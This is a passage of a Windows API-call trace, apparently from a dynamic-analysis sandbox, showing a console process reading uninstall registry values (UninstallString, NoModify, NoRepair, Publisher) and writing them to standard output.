cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.096] GetConsoleOutputCP () returned 0x1b5 [0150.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.096] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.096] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.096] __iob_func () returned 0x7fefd702a80 [0150.096] _fileno (_File=0x7fefd702ab0) returned 1 [0150.096] _errno () returned 0x204bb0 [0150.096] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.096] _errno () returned 0x204bb0 [0150.096] GetFileType (hFile=0x50) returned 0x1 [0150.096] lstrlenW (lpString="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 52 [0150.096] GetConsoleOutputCP () returned 0x1b5 [0150.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.096] GetConsoleOutputCP () returned 0x1b5 [0150.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpUsedDefaultChar=0x0) returned 52 [0150.097] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.097] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.097] __iob_func () returned 0x7fefd702a80 [0150.097] _fileno (_File=0x7fefd702ab0) returned 1 [0150.097] _errno () returned 0x204bb0 [0150.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.097] _errno () returned 0x204bb0 [0150.097] GetFileType (hFile=0x50) returned 0x1 [0150.097] lstrlenW (lpString="\n") returned 1 [0150.097] GetConsoleOutputCP () returned 0x1b5 [0150.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.097] GetConsoleOutputCP () returned 0x1b5 [0150.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.097] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.097] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.097] GetProcessHeap () returned 0x3c0000 [0150.097] GetProcessHeap () returned 0x3c0000 [0150.097] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.097] GetProcessHeap () returned 0x3c0000 [0150.097] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.097] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.097] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.097] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.098] GetProcessHeap () returned 0x3c0000 [0150.098] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.098] GetProcessHeap () returned 0x3c0000 [0150.098] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.098] GetProcessHeap () returned 0x3c0000 [0150.098] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.098] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.098] __iob_func () returned 0x7fefd702a80 [0150.098] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.098] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.098] _fileno (_File=0x7fefd702ab0) returned 1 [0150.098] _errno () returned 0x204bb0 [0150.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.098] _errno () returned 0x204bb0 [0150.098] GetFileType (hFile=0x50) returned 0x1 [0150.098] lstrlenW (lpString=" ") returned 4 [0150.098] GetConsoleOutputCP () returned 0x1b5 [0150.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.098] GetConsoleOutputCP () returned 0x1b5 [0150.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.098] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.098] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.098] lstrlenW (lpString="NoModify") returned 8 [0150.098] __iob_func () returned 0x7fefd702a80 [0150.098] _fileno (_File=0x7fefd702ab0) returned 1 [0150.098] _errno () returned 0x204bb0 [0150.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.099] _errno () returned 0x204bb0 [0150.099] GetFileType (hFile=0x50) returned 0x1 [0150.099] lstrlenW (lpString="NoModify") returned 8 [0150.099] GetConsoleOutputCP () returned 0x1b5 [0150.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.099] GetConsoleOutputCP () returned 0x1b5 [0150.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0150.099] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.099] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.099] __iob_func () returned 0x7fefd702a80 [0150.099] _fileno (_File=0x7fefd702ab0) returned 1 [0150.099] _errno () returned 0x204bb0 [0150.099] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.099] _errno () returned 0x204bb0 [0150.099] GetFileType (hFile=0x50) returned 0x1 [0150.099] lstrlenW (lpString=" ") returned 4 [0150.099] GetConsoleOutputCP () returned 0x1b5 [0150.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.099] GetConsoleOutputCP () returned 0x1b5 [0150.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.100] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.100] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.100] __iob_func () returned 0x7fefd702a80 [0150.100] _fileno (_File=0x7fefd702ab0) returned 1 [0150.100] _errno () returned 0x204bb0 [0150.100] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.100] _errno () returned 0x204bb0 [0150.100] GetFileType (hFile=0x50) returned 0x1 [0150.100] lstrlenW (lpString="REG_DWORD") returned 9 [0150.100] GetConsoleOutputCP () returned 0x1b5 [0150.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.100] GetConsoleOutputCP () returned 0x1b5 [0150.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.100] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.100] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.100] __iob_func () returned 0x7fefd702a80 [0150.100] _fileno (_File=0x7fefd702ab0) returned 1 [0150.100] _errno () returned 0x204bb0 [0150.100] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.100] _errno () returned 0x204bb0 [0150.100] GetFileType (hFile=0x50) returned 0x1 [0150.100] lstrlenW (lpString=" ") returned 4 [0150.101] GetConsoleOutputCP () returned 0x1b5 [0150.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.101] GetConsoleOutputCP () returned 0x1b5 [0150.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.101] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.101] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.101] __iob_func () returned 0x7fefd702a80 [0150.101] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.101] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.101] _fileno (_File=0x7fefd702ab0) returned 1 [0150.101] _errno () returned 0x204bb0 [0150.101] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.101] _errno () returned 0x204bb0 [0150.101] GetFileType (hFile=0x50) returned 0x1 [0150.101] lstrlenW (lpString="0x1") returned 3 [0150.101] GetConsoleOutputCP () returned 0x1b5 [0150.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.101] GetConsoleOutputCP () returned 0x1b5 [0150.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.101] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.102] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.102] __iob_func () returned 0x7fefd702a80 [0150.102] _fileno (_File=0x7fefd702ab0) returned 1 [0150.102] _errno () returned 0x204bb0 [0150.102] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.102] _errno () returned 0x204bb0 [0150.102] GetFileType (hFile=0x50) returned 0x1 [0150.102] lstrlenW (lpString="\n") returned 1 [0150.102] GetConsoleOutputCP () returned 0x1b5 [0150.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.102] GetConsoleOutputCP () returned 0x1b5 [0150.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.102] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.102] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.102] GetProcessHeap () returned 0x3c0000 [0150.102] GetProcessHeap () returned 0x3c0000 [0150.102] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.102] GetProcessHeap () returned 0x3c0000 [0150.102] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.102] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.102] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.102] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.102] GetProcessHeap () returned 0x3c0000 [0150.102] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.103] GetProcessHeap () returned 0x3c0000 [0150.103] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.103] GetProcessHeap () returned 0x3c0000 [0150.103] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.103] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.103] __iob_func () returned 0x7fefd702a80 [0150.103] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.103] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.103] _fileno (_File=0x7fefd702ab0) returned 1 [0150.103] _errno () returned 0x204bb0 [0150.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.103] _errno () returned 0x204bb0 [0150.103] GetFileType (hFile=0x50) returned 0x1 [0150.103] lstrlenW (lpString=" ") returned 4 [0150.103] GetConsoleOutputCP () returned 0x1b5 [0150.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.103] GetConsoleOutputCP () returned 0x1b5 [0150.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.103] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.103] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.103] lstrlenW (lpString="NoRepair") returned 8 [0150.103] __iob_func () returned 0x7fefd702a80 [0150.103] _fileno (_File=0x7fefd702ab0) returned 1 [0150.103] _errno () returned 0x204bb0 [0150.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.103] _errno () returned 0x204bb0 [0150.103] GetFileType (hFile=0x50) returned 0x1 [0150.104] lstrlenW (lpString="NoRepair") returned 8 [0150.104] GetConsoleOutputCP () returned 0x1b5 [0150.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.104] GetConsoleOutputCP () returned 0x1b5 [0150.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0150.104] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.104] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.104] __iob_func () returned 0x7fefd702a80 [0150.104] _fileno (_File=0x7fefd702ab0) returned 1 [0150.104] _errno () returned 0x204bb0 [0150.104] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.104] _errno () returned 0x204bb0 [0150.104] GetFileType (hFile=0x50) returned 0x1 [0150.104] lstrlenW (lpString=" ") returned 4 [0150.104] GetConsoleOutputCP () returned 0x1b5 [0150.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.104] GetConsoleOutputCP () returned 0x1b5 [0150.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.104] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.104] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.105] __iob_func () returned 0x7fefd702a80 [0150.105] _fileno (_File=0x7fefd702ab0) returned 1 [0150.105] _errno () returned 0x204bb0 [0150.105] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.105] _errno () returned 0x204bb0 [0150.105] GetFileType (hFile=0x50) returned 0x1 [0150.105] lstrlenW (lpString="REG_DWORD") returned 9 [0150.105] GetConsoleOutputCP () returned 0x1b5 [0150.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.105] GetConsoleOutputCP () returned 0x1b5 [0150.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.105] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.105] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.105] __iob_func () returned 0x7fefd702a80 [0150.105] _fileno (_File=0x7fefd702ab0) returned 1 [0150.105] _errno () returned 0x204bb0 [0150.105] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.105] _errno () returned 0x204bb0 [0150.105] GetFileType (hFile=0x50) returned 0x1 [0150.105] lstrlenW (lpString=" ") returned 4 [0150.105] GetConsoleOutputCP () returned 0x1b5 [0150.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.106] GetConsoleOutputCP () returned 0x1b5 [0150.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.106] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.106] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.106] __iob_func () returned 0x7fefd702a80 [0150.106] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.106] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.106] _fileno (_File=0x7fefd702ab0) returned 1 [0150.106] _errno () returned 0x204bb0 [0150.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.106] _errno () returned 0x204bb0 [0150.106] GetFileType (hFile=0x50) returned 0x1 [0150.106] lstrlenW (lpString="0x1") returned 3 [0150.106] GetConsoleOutputCP () returned 0x1b5 [0150.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.106] GetConsoleOutputCP () returned 0x1b5 [0150.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.106] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.106] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.106] __iob_func () returned 0x7fefd702a80 [0150.106] _fileno (_File=0x7fefd702ab0) returned 1 [0150.106] _errno () returned 0x204bb0 [0150.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.107] _errno () returned 0x204bb0 [0150.107] GetFileType (hFile=0x50) returned 0x1 [0150.107] lstrlenW (lpString="\n") returned 1 [0150.107] GetConsoleOutputCP () returned 0x1b5 [0150.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.107] GetConsoleOutputCP () returned 0x1b5 [0150.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.107] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.107] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.107] GetProcessHeap () returned 0x3c0000 [0150.107] GetProcessHeap () returned 0x3c0000 [0150.107] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.107] GetProcessHeap () returned 0x3c0000 [0150.107] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.107] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.107] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.107] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0150.107] GetProcessHeap () returned 0x3c0000 [0150.107] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0150.107] GetProcessHeap () returned 0x3c0000 [0150.107] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.107] GetProcessHeap () returned 0x3c0000 [0150.107] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0150.107] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0150.108] __iob_func () returned 0x7fefd702a80 [0150.108] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.108] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.108] _fileno (_File=0x7fefd702ab0) returned 1 [0150.108] _errno () returned 0x204bb0 [0150.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.108] _errno () returned 0x204bb0 [0150.108] GetFileType (hFile=0x50) returned 0x1 [0150.108] lstrlenW (lpString=" ") returned 4 [0150.108] GetConsoleOutputCP () returned 0x1b5 [0150.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.108] GetConsoleOutputCP () returned 0x1b5 [0150.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.108] 